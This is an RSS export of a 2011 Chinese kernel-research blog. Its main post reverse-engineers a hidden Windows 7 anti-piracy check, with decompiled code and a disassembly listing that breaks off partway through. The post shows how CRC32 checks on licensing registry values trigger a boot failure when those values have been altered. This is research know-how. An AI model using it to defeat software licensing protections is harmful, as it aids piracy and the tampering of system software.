<?xml version="1.0" encoding="gb2312"?>
<rss version="2.0">
<channel>
<title><![CDATA[MJ0011的内核驱动研究所]]></title>
        <image>
        <title>http://hi.baidu.com</title>
        <link>http://hi.baidu.com</link>
        <url>http://img.baidu.com/img/logo-hi.gif</url>
        </image>
<description><![CDATA[内核技术、Rootkit/Anti-Rootkit、网络安全]]></description>
<link>http://hi.baidu.com/mj0011</link>
<language>zh-cn</language>
<generator>www.baidu.com</generator>
<ttl>5</ttl>


<item>
        <title><![CDATA[百度空间太烂了。。。]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/c1789b8264880a8bf703a671.html]]></link>
        <description><![CDATA[
		
		<p>在WEBKIT里编辑文章，IE下浏览出排版混在一起,WEBKIT下浏览横行被卷动</p><p>IE里编辑，IE下失去所有颜色，WEBKIT下浏览全部分开了。。。</p><p>太悲催了，还是去DEBUGMAN发吧</p><p></p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/c1789b8264880a8bf703a671.html#comment">查看评论</a>]]></description>
        <pubDate>2011-09-08  15:14</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/c1789b8264880a8bf703a671.html</guid>
</item>

<item>
        <title><![CDATA[win7内核反盗版小猫腻一个]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/4b81e11f4a476deee0fe0b9d.html]]></link>
        <description><![CDATA[
		
		<span style="FONT-SIZE: 16px; COLOR: rgb(0,0,128); FONT-FAMILY: FixedSys"><span class="Apple-style-span" style="LINE-HEIGHT: normal; WHITE-SPACE: pre">
<p>在KiSystemStartup-&gt;KiInitializeKernel-&gt;InitBootProcessor-&gt;ExInitSystem中</p>
<p>&nbsp;</p>
<p>char __stdcall ExInitSystem() </p>
<p>{</p>
<p>char result;</p>
<p>if ( InitializationPhase )</p>
<p>&nbsp;{ </p>
<p>&nbsp;if ( InitializationPhase != TRUE ) </p>
<p>&nbsp;{ </p>
<p>KeBugCheck2(UNEXPECTED_INITIALIZATION_CALL, 3, InitializationPhase, 0, 0, 0); </p>
<p>&nbsp;__asm { int 3 ; Trap to Debugger }</p>
<p>&nbsp;} </p>
<p>result = ExpInitSystemPhase1();&nbsp; //第一阶段的EX系统初始化</p>
<p>&nbsp;}</p>
<p>&nbsp;else {</p>
<p><strong><span style="COLOR: #ff0000">sub_798CBB();&nbsp;&nbsp; //&lt;-----猫腻函数</span></strong></p>
<p>result = ExpInitSystemPhase0();&nbsp; //第零阶段的EX系统初始化</p>
<p>&nbsp;} </p>
<p>&nbsp;return result; </p>
<p>} </p>
<p>&nbsp;</p>
<p>猫腻函数sub_798CBB在Phase0时执行，功能是计算和序列号、产品类型和授权相关的一些注册表键值数据等相关的字符串的CRC32值，然后和预设的对比</p>
<p>如果有某个不匹配，则置一个全局变量KdDumpEnableOffset的值为8（默认是0）</p>
<p>&nbsp;</p>
<p>这个KdDumpEnableOffset的名字属于MS常玩的符号猫腻，实际上跟kernel debug和dump没什么关系</p>
<p>&nbsp;</p>
<p>这个值实际上是在ExInitSystem-&gt;ExpInitSystemPhase1-&gt;ExpMutantInitialization这个函数里使用</p>
<p>&nbsp;</p>
<p>这个函数也是一个比较迷惑的名字，和一堆EX系统的对象类型创建混在一起，本来是做Mutant对象类型的创建，但里面混了一行代码：</p>
<p>&nbsp;</p>
<p>char __stdcall ExpMutantInitialization()<br>{<br>&nbsp; LSA_UNICODE_STRING DestinationString; // [sp+58h] [bp-8h]@1<br>&nbsp; int v2; // [sp+8h] [bp-58h]@1<br>&nbsp; signed int v3; // [sp+Ch] [bp-54h]@1<br>&nbsp; signed int v4; // [sp+10h] [bp-50h]@1<br>&nbsp; int v5; // [sp+14h] [bp-4Ch]@1<br>&nbsp; int v6; // [sp+18h] [bp-48h]@1<br>&nbsp; int v7; // [sp+1Ch] [bp-44h]@1<br>&nbsp; int v8; // [sp+20h] [bp-40h]@1<br>&nbsp; int v9; // [sp+2Ch] [bp-34h]@1<br>&nbsp; signed int v10; // [sp+34h] [bp-2Ch]@1<br>&nbsp; signed int v11; // [sp+24h] [bp-3Ch]@1<br>&nbsp; int (__stdcall *v12)(int); // [sp+44h] [bp-1Ch]@1</p>
<p>&nbsp; RtlInitUnicodeString(&amp;DestinationString, &amp;"Mutant");<br>&nbsp; memset(&amp;v2, 0, 0x50u);<br>&nbsp; <strong><span style="COLOR: #ff0000">memset((void *)(*(_DWORD *)(*MK_FP(__FS__, 0x124u) + 0x50) + 0x18), 0,KdDumpEnableOffset);</span><br><span style="COLOR: #ff0000">&nbsp;</span></strong>LOWORD(v2) = 80;<br>&nbsp; v3 = 2;<br>&nbsp; v4 = 256;<br>&nbsp; v5 = (_DWORD)ExpMutantMapping;<br>&nbsp; v6 = ExpMutantMapping[1];<br>&nbsp; v7 = ExpMutantMapping[2];<br>&nbsp; v8 = ExpMutantMapping[3];<br>&nbsp; v9 = 0;<br>&nbsp; v10 = 32;<br>&nbsp; v11 = 2031617;<br>&nbsp; v12 = ExpDeleteMutant;<br>&nbsp; return ObCreateObjectTypeEx(&amp;DestinationString, (int)&amp;v2, 0, (int)&amp;ExMutantObjectType) &gt;= 0;<br>}</p>
<p>&nbsp;</p>
<p>红色加粗这行就是猫腻了，也就是phase0置成了8的话，这里就会把kthread-&gt;ApcState-&gt;Process-&gt;DirectoryTableBase和LdtDescriptor这两个域清0 ， </p>
<p>当前进程（SYSTEM进程）在后面的启动过程中就会出现诡异错误退出了</p>
<p>&nbsp;</p>
<p>实际上就是起到防止那些注册表路径被修改的作用</p>
<p>&nbsp;</p>
<p>最后附上那个计算的反汇编</p>
<p>INIT:00798CBB 8B FF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; edi, edi<br>INIT:00798CBD 55&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; ebp<br>INIT:00798CBE 8B EC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; ebp, esp<br>INIT:00798CC0 83 EC 6C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sub&nbsp;&nbsp;&nbsp;&nbsp; esp, 6Ch<br>INIT:00798CC3 68 94 F1 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aRegistryMac_15 ; "<a href="http://file://Registry//Machine//System//Setup">\\Registry\\Machine\\System\\Setup</a>"<br>INIT:00798CC8 E8 7C 01 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798CCD 68 80 F1 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aSetuptype ; "SetupType"<br>INIT:00798CD2 89 45 94&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_6C], eax<br>INIT:00798CD5 E8 6F 01 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798CDA 68 64 F1 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aSystemprefix ; "SystemPrefix"<br>INIT:00798CDF 89 45 98&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_68], eax<br>INIT:00798CE2 E8 62 01 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798CE7 68 E0 F0 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aRegistryMach_2 ; "<a href="http://file://Registry//Machine//System//CurrentControl">\\Registry\\Machine\\System\\CurrentControl</a>"...<br>INIT:00798CEC 89 45 9C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_64], eax<br>INIT:00798CEF E8 55 01 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798CF4 68 C4 F0 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aProducttype_0 ; "ProductType"<br>INIT:00798CF9 89 45 A0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_60], eax<br>INIT:00798CFC E8 48 01 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798D01 68 B0 F0 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aLanman&nbsp; ; "Lanman"<br>INIT:00798D06 89 45 A4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_5C], eax<br>INIT:00798D09 E8 3B 01 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798D0E 68 9C F0 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aServernt ; "ServerNT"<br>INIT:00798D13 89 45 A8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_58], eax<br>INIT:00798D16 E8 2E 01 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798D1B 68 90 F0 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aWinnt&nbsp;&nbsp; ; "WinNT"<br>INIT:00798D20 89 45 AC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_54], eax<br>INIT:00798D23 E8 21 01 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798D28 68 74 F0 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aProductsuite_0 ; "ProductSuite"<br>INIT:00798D2D 89 45 B0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_50], eax<br>INIT:00798D30 E8 14 01 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798D35 68 E8 EF 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aRegistryMac_16 ; "<a href="http://file://Registry//Machine//System//CurrentControl">\\Registry\\Machine\\System\\CurrentControl</a>"...<br>INIT:00798D3A 89 45 B4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_4C], eax<br>INIT:00798D3D E8 07 01 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798D42 68 C8 EF 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aConcurrentlimi ; "ConcurrentLimit"<br>INIT:00798D47 89 45 B8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_48], eax<br>INIT:00798D4A E8 FA 00 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798D4F 68 A8 EF 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aSmallBusiness ; "Small Business"<br>INIT:00798D54 89 45 BC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_44], eax<br>INIT:00798D57 E8 ED 00 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798D5C 68 90 EF 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aEnterprise ; "Enterprise"<br>INIT:00798D61 89 45 C0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_40], eax<br>INIT:00798D64 E8 E0 00 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798D69 68 68 EF 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aCommunications ; "CommunicationServe"<br>INIT:00798D6E 89 45 C4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_3C], eax<br>INIT:00798D71 E8 D3 00 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798D76 68 50 EF 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aBackoffice ; "BackOffice"<br>INIT:00798D7B 89 45 C8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_38], eax<br>INIT:00798D7E E8 C6 00 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798D83 68 18 EF 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aSmallBusinessR ; "Small Business(Restricte"<br>INIT:00798D88 89 45 CC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_34], eax<br>INIT:00798D8B E8 B9 00 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ComputerCrc32Forwstring<br>INIT:00798D90 68 F8 EE 62 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; offset aTerminalServe ; "Terminal Serve"<br>INIT:00798D95 89 45 D0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_30], eax<br>INIT:00798D98 E8 AC 00 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 